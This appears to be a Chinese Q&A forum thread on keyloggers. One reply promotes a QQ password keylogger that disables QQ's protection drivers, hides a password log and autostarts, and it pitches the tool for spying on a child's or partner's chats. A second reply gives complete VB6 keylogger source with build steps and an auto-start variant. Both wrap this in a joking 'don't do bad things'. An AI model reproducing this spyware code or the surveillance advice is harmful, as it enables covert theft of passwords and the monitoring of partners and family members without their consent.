寻云 -
键盘记录者V7.6
http://www.qufc.com/soft/9105.htm
键盘记录者试用版7.6
http://www.pc456.net/Soft/cygj/aqgj/200510/3.html
键盘记录者 7.5 免费版
http://www.uhq.cn/soft/qxdown_com138/1640.htm
文件名称： QQ密码键盘记录器 4.1
软件语言： 简体中文
软件类型： 国产软件 / QQ专区
运行环境： Win2003, WinXP, Win2000, WinME
授权方式： 免费软件
软件大小： 244 KB
本程序为绿色软件，无需安装。
使用方法，点击QQPwd.exe 启动程序
如果是QQ2005beta3版本，使用前请先删除掉QQ安装目录下的npkcrypt.sys和npkcusb.sys等 *.sys文件
程序启动后，点击开始监控，监控程序后台运行，然后所有的登陆过的QQ密码都记录在c:qqpass.txt文件里
以后监控程序每次开机会自动运行。然后，你已经可以退出QQpwd这个配置程序了
c:qqpass.txt属性为隐藏。
注册版本后台运行，没有界面。未注册版本每3分钟弹出注册对话框，如果觉的烦，你或者注册 或者 使用配置程序结束监控.
想知道你的小孩整天在网上做什么吗，想知道你的情人整天在和谁聊天吗? 注册本软件，得到他(她)的密码，你就可以看看它的聊天记录，还有可以看看他(她）到底整天和谁聊天了.
千万不要干坏事
瑞瑞爱吃桃 -
键盘记录很好实现。
想在游戏中也可以记录的，需要hook技术 "全局键盘钩子
我给你个源代码吧，照着做就可以了。
百度不让发源程序。我自己写的。
下载个VB6.0就可以了
步骤：--------------------
1.新建窗体，添加模块，取名为：Module1.bas
2.在模块中添加如下代码：
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt&, sSave$, sOld$, Ret$, Tel&
Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
Form1.Text1 = sSave
End If
End Sub
3.在窗体中添加2个按钮 1个文字框
分别命名：command1 command2 text1
4.在窗体中输入如下代码：
Private Sub Command1_Click()
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Command2_Click()
KillTimer Me.hwnd, 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hwnd, 0
"MsgBox "截获的键盘消息" & vbCrLf & Chr(10) & sSave
End Sub
就完成了！ ：）
如果需要打开就自动运行，
那么床体重的代码为：
Private Sub form_load()
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
别干坏事哦 呵呵